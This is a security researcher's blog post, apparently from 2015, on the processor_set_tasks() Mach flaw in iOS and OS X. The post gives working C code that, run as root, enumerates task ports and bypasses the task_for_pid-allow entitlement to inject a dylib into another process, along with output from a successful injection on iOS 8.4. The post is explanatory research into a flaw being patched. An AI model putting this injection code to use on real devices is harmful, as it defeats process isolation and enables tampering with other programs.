Who needs task_for_pid()
anyway...
processor_set_tasks()
rears its vulnerable head - for the last time...?
Jonathan Levin, @Technologeeks - http://www.newosxbook.com/ - 08/20/15
the processor_set_tasks()
vulnerability was revealed to the world as a 0-day not so long ago in BlackHat 2014. Funny enough, it was more accurately a -700-or-so day because pg 387 of MOXiI's 1st edition (from whenever it was published in 2012) describes the API in detail, and notes the leakage of kernel_task
. Even funnier than that is that Pedro was the only one to actually notice this*, despite it being singled out in a nice little tip box :-). I've used it myself both in Process Explorer and coreruption, so it is kind of handy, I'll admit.
Pedro and those discovering it, however, only paid attention to the "grand prize" - kernel_task
, which should never be accessible from user space, not even to root. In doing so, they missed the "runner ups" - Access to the task port of any other task in the system, circumventing task_for_pid entirely, even (and especially) on iOS, where it was enforced for quite a while.
As the reader likely knows, task_for_pid()
is the magical Mach trap on which all injection APIs depend. You need a way to get the task port of a process in order to have fun with it (e.g. thread_create
, mach_vm*
, etc. If you look at my ARM64/x86_64 injection sample, it hinges on it, and fails miserably if you don't have that ability. On OS X, taskgated
traditionally handles it (that popup from the dev tools asking when you try to debug), and as of 10.11 AMFI seems to be taking over). On iOS (and 10.11+), this requires the task_for_pid-allow
, as enforced by the despicable AMFI.
Only I lied, kind of.
Using processor_set_tasks
gets you ANY TASK PORT IN THE SYSTEM. So you can modify said sample , easily, to work like so:
// Apple says you need a task_for_pid-allow entitlement, // And I say, bullshit. mach_port_t task_for_pid_workaround(int Pid) { host_t myhost = mach_host_self(); // host self is host priv if you're root anyway.. mach_port_t psDefault; mach_port_t psDefault_control; task_array_t tasks; mach_msg_type_number_t numTasks; int i; thread_array_t threads; thread_info_data_t tInfo; kern_return_t kr; kr = processor_set_default(myhost, &psDefault); kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr); mach_error("host_processor_set_priv",kr); exit(1);} printf("So far so good\n"); kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); } for (i = 0; i < numTasks; i++) { int pid; pid_for_task(tasks[i], &pid); printf("TASK %d PID :%d\n", i,pid); if (pid == Pid) return (tasks[i]); } return (MACH_PORT_NULL); } // end workaround int inject(pid_t pid, const char *lib) { task_t remoteTask; kr = task_for_pid(mach_task_self(), pid, &remoteTask); ... if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue! Or... Can We?\n",pid, mach_error_string(kr)); // Edit : calling workaround remoteTask = task_for_pid_workaround(pid); if (remoteTask == MACH_PORT_NULL) { fprintf(stderr, "Workaround isn't working. Bravo, 25+ years later, it's been patched\n"); exit(5); } } ...
And so, the output is:
# Note: WE STILL NEED ROOT ACCESS here - but no entitlements Phontifex:/tmp root# jtool --ent /tmp/inject2.arm Binary apparently does not contain any entitlements Phontifex:/tmp root# /tmp/inject2.arm 829 /tmp/test.arm64.dylib Unable to call task_for_pid on pid 829: (os/kern) failure). Cannot continue! Or... Can We? So far so good TASK 0 PID :1 # Note no kernel_task, this is iOS .. # ... but some 160 perfectly (ab)usable task ports TASK 161 PID :829 # Bingo! # Business as usual from here :-) Allocated remote stack @0x1001b8000 Pthread exit @198a0324c, 198a0324c Pthread set self @198a02a9c Pthread exit @198a0324c, 198a0324c DLOpen @19884db50 Remote Stack 64 0x100238000, Remote code is 0x1002b8000 # Note this is iOS 8.4 Phontifex:/tmp root# uname -a Darwin Phontifex 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin
So, AMFI, shmamfi - it works. It works great on OS X 10.10.x btw, but then versions prior to 10.11 don't enforce the entitlement, and so will vanilla task_for_pid()
- the path of least resistance.
Why does this work?
Because Mach APIs don't differentiate between innocuous messages that a task port offers (say, the highly useful task_info
ones), and the really, really nasty ones, like mach_vm_*
and friends. This is (one of many) a design flaw in Mach, which was conceived with tons of functionality in mind, but, well, 25 or so years ago, who thought about all this injection stuff?!?!
It's worth reiterating: If you can somehow cajole someone or something to give you the task port of a given process (or the kernel, PID 0), you own it. Period. All it takes is just finding these port leaks. There may be one or two more. You never know with these things.
And why did you (sort of) lie? :~( And why expose this now?
I'm not in the habit of exposing 0-days for the 15 minutes of fame it entails or whatever bounty. But now this is one is finally dying (at least, in 9/10.11 it will be dead for sure). AAPL is *finally* on to this, and with 10.11 brings the task_for_pid-allow
entitlement to OS X (*sigh*). processor_set_tasks
is being tinkered with by them even as I write this, and already returns less** tasks in b7 (out today), so I can only assume it will be properly patched in iOS 9 10 as well (*grin*). And if it is.. well... there's still another couple of aces to use there, if TaiG doesn't blow them prematurely..
I've said tons of times before - and I'll say it again: I'm against exploitation of security vulnerabilities, but I'll do my damnedest to help keep iOS jailbreakable. The day it isn't, by others or by myself, I'm switching (painfully) to Android.
Greets
- Pedro (@OSXreverser) - Still waiting for you to find the other kinda-obvious 0-day in the book. But at this point, wait for the 2nd Edition - lots more will be revealed there and then :-)
As usual, questions/comments are welcome, but via the forum, please.
** - note, "returns less" != "doesn't return any". AAPL uses a new MAC call -
expose_task
, on processor_set_things
and mach_port_space_info
(q.v. here) and there's the entitlement of com.apple.system-task-ports
which filters. But may I suggest slapping a new entitlement (not just "system" tasks), or really fixing it, by separating task_priv already? And no, I don't mean the task name port. Split the functionality properly!)